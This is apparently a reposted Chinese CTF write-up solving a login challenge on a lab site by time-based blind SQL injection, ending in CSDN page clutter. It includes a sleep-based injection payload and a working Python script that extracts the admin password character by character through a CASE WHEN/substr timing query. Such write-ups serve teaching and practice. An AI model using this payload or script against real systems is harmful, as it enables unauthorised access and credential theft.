看起来有点难

页面很简单,跟我们平时遇到的登录窗口差不多,看看源码,没什么可用的信息

bp抓一下,传repeatergo一下,也没看到什么特别的地方,看来这道题应该是注入题了,尝试用户名1,1’,1”,1#,1’#,1”#,1),1’),1”),1’)#,admin......,其中发现输入admin1’时就不一样了

多次尝试后发现这里是延时注入,所以构造payloadadmin' and sleep(10) and '1'='1

发现真延迟了10s,因为延时注入太麻烦了,所以这里直接引入dalaourlhttps://blog.csdn.net/dongyanwen6036/article/details/77840791)的脚本跑一下

#-*-coding:utf-8-*-

import requests

import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}*' #不区分大小写的

flag = ""

key=0

print("Start")

for i in range(1,50):

if key == 1:

break

for payload in payloads:

starttime = time.time()#记录当前时间

headers = {"Host": "ctf5.shiyanbar.com",

"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",

"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",

"Connection": "keep-alive",

}

url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库

res = requests.get(url, headers=headers)

if time.time() - starttime > 10:

flag += payload

print("pwd is:%s"%flag)

break

else:

if payload == '*':

key = 1

break

print('[Finally] current pwd is %s'% flag)

得到password

再回到网页输入admin和我们得到的password就可用得到flag

 

转载于:https://www.cnblogs.com/wosun/p/11192516.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值